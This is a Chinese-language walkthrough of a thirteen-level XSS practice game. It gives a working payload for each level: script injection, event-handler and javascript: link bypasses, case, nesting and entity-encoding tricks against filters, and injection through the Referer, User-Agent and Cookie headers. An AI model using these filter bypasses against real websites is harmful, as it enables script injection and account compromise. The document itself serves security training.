【CTF】某xss練手小遊戲

http://test.xss.tv

一、http://47.94.13.75/test/level1.php?name=test

　　直接插入便可，如：

　　http://47.94.13.75/test/level1.php?name=<script>alert(1)</script>

二、http://47.94.13.75/test/level2.php?keyword=test

　　文本框中輸入，閉合一下便可，如：

　　http://47.94.13.75/test/level2.php?keyword="><script>alert(1)</script>

三、http://47.94.13.75/test/level3.php?writing=wait

　　尖括號被編碼，直接使用事件便可，如：

　　http://47.94.13.75/test/level3.php?keyword=' onmouseover=alert(1) '&submit=搜索

四、http://47.94.13.75/test/level4.php?keyword=try harder!

　　與第三關相似，使用事件來閉合，彈窗，如：

　　http://47.94.13.75/test/level4.php?keyword=" onmouseover=alert(1) "&submit=搜索

五、http://47.94.13.75/test/level5.php?keyword=find a way out!

　　事件被插入特殊符號，改用其它標籤，如：

　　http://47.94.13.75/test/level5.php?keyword="><a href=javascript:alert(1)>click</a>&submit=搜索

　　點擊click連接便可彈窗

六、http://47.94.13.75/test/level6.php?keyword=break it out!

　　與第五關相似，這裏能夠直接用大寫繞過，如：

　　http://47.94.13.75/test/level6.php?keyword=" Onmouseover=alert(1) "&submit=搜索

七、http://47.94.13.75/test/level7.php?keyword=move up!

　　on直接被過濾，用嵌套繞過，如：

　　http://47.94.13.75/test/level7.php?keyword=" oonnmouseover=alert(1) "&submit=搜索

八、http://47.94.13.75/test/level8.php?keyword=nice try!

　　連接型，js協議加編碼繞過繞過，如：

　　http://47.94.13.75/test/level8.php?keyword=javasc&#114;ipt:alert(1)&submit=添加友情連接

九、http://47.94.13.75/test/level9.php?keyword=not bad!

　　構造合法連接，結合js協議與編碼繞過，如：

　　http://47.94.13.75/test/level9.php?keyword=javasc&#114;ipt:alert(&#34;http://&#34;)&submit=添加友情連接

十、http://47.94.13.75/test/level10.php?keyword=well done!

　　根據源碼構造url參數，如：

　　http://47.94.13.75/test/level10.php?keyword=well done!&t_sort=xss" onmouseover=alert(1) type="button" "

　　http://47.94.13.75/test/level10.php?keyword=well done!&t_sort=xss" accesskey="X" onclick=「alert(1)  ///經過shift+alt+X快捷鍵觸發（火狐能夠）　

十一、http://47.94.13.75/test/level11.php?keyword=good job!

　　抓取post數據包，構造referer值，如：

GET /test/level11.php?keyword=good%20job! HTTP/1.1
Host: 47.94.13.75
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Referer:" onmouseover=alert(1) type="button" "

十二、http://47.94.13.75/test/level12.php?keyword=good job!

　　構造user-agent值便可，如：

GET /test/level12.php?keyword=good%20job! HTTP/1.1
Host: 47.94.13.75
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:58.0) Gecko/20100101 Firefox/58.0" onmouseover=alert(1) type="button" "
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

1三、http://47.94.13.75/test/level13.php?keyword=good job!

　　構造cookie，如：

GET /test/level13.php?keyword=good%20job! HTTP/1.1
Host: 47.94.13.75
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: user=call+me+maybe%3F" onmouseover=alert(1) type="button" "
Connection: keep-alive
Upgrade-Insecure-Requests: 1